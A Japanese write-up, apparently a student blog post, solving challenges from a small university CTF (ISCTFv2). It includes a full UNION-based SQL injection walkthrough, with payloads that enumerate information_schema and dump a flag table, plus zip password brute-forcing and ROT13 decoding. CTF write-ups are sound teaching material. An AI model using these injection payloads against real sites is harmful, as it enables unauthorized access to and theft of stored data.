そもそもISCTFって?
僻地大学の武田圭史研究会のなかで行われているCTFです。 ひろたんとかいう人に書けとおどされてるので書きます。 今回で確か2回めなのですが、問題は10問用意されていました。
WirteUp
#1 Test 1pt
Input ISCTFv2
そのまま。
FLAGはISCTFv2
#3 zip search 20pt
Get the Flag!!!! 神奈川県限定
これぞ王道のSQLインジェクション(以下、SQLi)問題(最近深読みしすぎてココらへんが抜けてる)。なので王道で解いていきます。 SQLiをする基本的なSQL文はこんな感じ。
SELECT * FROM table WHERE column = '入力値'
ここからSQLiをするには' or 'a'='a' --
などの悪意のあるクエリを入れる。
SELECT * FROM table WHERE column = '' or 'a'='a' -- '
このクエリは常に条件を満たします。ちなみに最後の– は以降の文章をコメントアウトしてくれます(–の後にスペースが必要なのを注意)。 まず、ORDER BY句を用いてテーブルのカラム数を調べます。
' or 'a'='a' ORDER BY 1 -- ' or 'a'='a' ORDER BY 2 -- ' or 'a'='a' ORDER BY 3 --
ORDER BY 3、つまり3つ目のカラムでソートしようとした時にエラーがでたので、このテーブルのカラム数は2つとなります。 また、UNION句を用いることでクエリの最後に他のSELECT文を結合することができます。
適当な数字か文字を代入して、どの値が表示するのかを確かめます。
' UNION SELECT 1, 2 --
上記の結果で、テーブルの2番めのカラムである2が表示されました。 あとは、ここにMySQLの関数などを利用してFLAGを探します。
このようにすると同じデータベース内のテーブルの名前を一覧にして表示してくれます。
' UNION SELECT 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() --
ad_address,flag,users
いかにも怪しいflagテーブルというのがありました。 それではflagテーブルのカラムの情報を表示させてみましょう。
' UNION SELECT 1, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag' --
name,value
後はもう、flagテーブルのデータの内容を表示するだけです。
' UNION SELECT 1, CONCAT_WS(',', name,value) FROM flag --
isctf,uni_toro_don
FLAGはuni_toro_don
#5 EBG guvegrra 5pt
Yvfg vasbezngvba nobhg gur SVYRf (gur pheerag qverpgbel ol qrsnhyg). Fbeg ragevrf nycunorgvpnyyl vs abar bs -psghiFHK abe --fbeg. Znaqngbel nethzragf gb ybat bcgvbaf ner znaqngbel sbe fubeg bcgvbaf gbb. -n, --nyy qb abg vtaber ragevrf fgnegvat jvgu . -N, --nyzbfg-nyy qb abg yvfg vzcyvrq . naq .. --nhgube jvgu -y, cevag gur nhgube bs rnpu svyr -o, --rfpncr cevag bpgny rfpncrf sbe abatencuvp punenpgref --oybpx-fvmr=FVMR hfr FVMR-olgr oybpxf -O, --vtaber-onpxhcf qb abg yvfg vzcyvrq ragevrf raqvat jvgu ~ -p jvgu -yg: fbeg ol, naq fubj, pgvzr (gvzr bs ynfg zbqvsvpngvba bs
何やら長いですがとりあえず落ち着いてROT13でもときましょう。 PHPだと標準でROT13を復号する関数があるのでそれを使いましょう。
シェルから一発でいけますね。 $ php -r "echo str_rot13(‘文字列’);"
List information about the FILEs (the current directory by default). Sort entries alphabetically if none of -cftuvSUX nor --sort. Mandatory arguments to long options aremandatory forshort options too. -a, --all do not ignore entries starting with . -A, --almost-all do not list implied . and .. --author with -l, print the author of each file -b, --escape print octal escapes for nongraphic characters --block-size=SIZE use SIZE-byte blocks -B, --ignore-backups do not list implied entries ending with ~ -c with -lt: sort by, and show, ctime (time of last modification of
どうみてもLinuxコマンドのlsの説明です。 FLAGはls
#6 Zip hack v1 5pt
MacのZipパスワードの総当りツールを知らなかったのでWindowsで有名な、Pika ZipをWineで立ち上げました(環境があった)。 数秒で解析がおわり、Zipのパスワードがtest
であることがわかります。 後は、Zipを解凍してflag.txtを見ましょう。
FLAGはzip de kure??
#7 Zip hack v2 10pt
これ、Macを使ってる人だとほぼOS標準のアーカイバでとこうとするのでなかなか難しい(自分も詰まってバイナリ見てたりした)。 WindowsとかCUIを使っているとわかりやすいかも。 コマンドラインで解凍するとわかる。
$ unzip zipv2.zip Archive: zipv2.zip Ff5wfCV5grU*hh&)s0x@fV;:d3%.cw*}x/* [zipv2.zip] flag.txt password:
Ff5wfCV5grU*hh&)s0x@fV;:d3%.cw*}x/*
という意味不明な記号の文字列が表示されていますが、これは、Zipについているコメントです。 このキーでZipを解凍してflag.txtを見ましょう。
FLAGはプログラムでも大事だよね
感想とか
他には、Webが2問、フォレンジック1問、バイナリ2問あまってます。 個人的にWebの2問が解けてないのがすごい悔しいところです。バイナリは不味いです。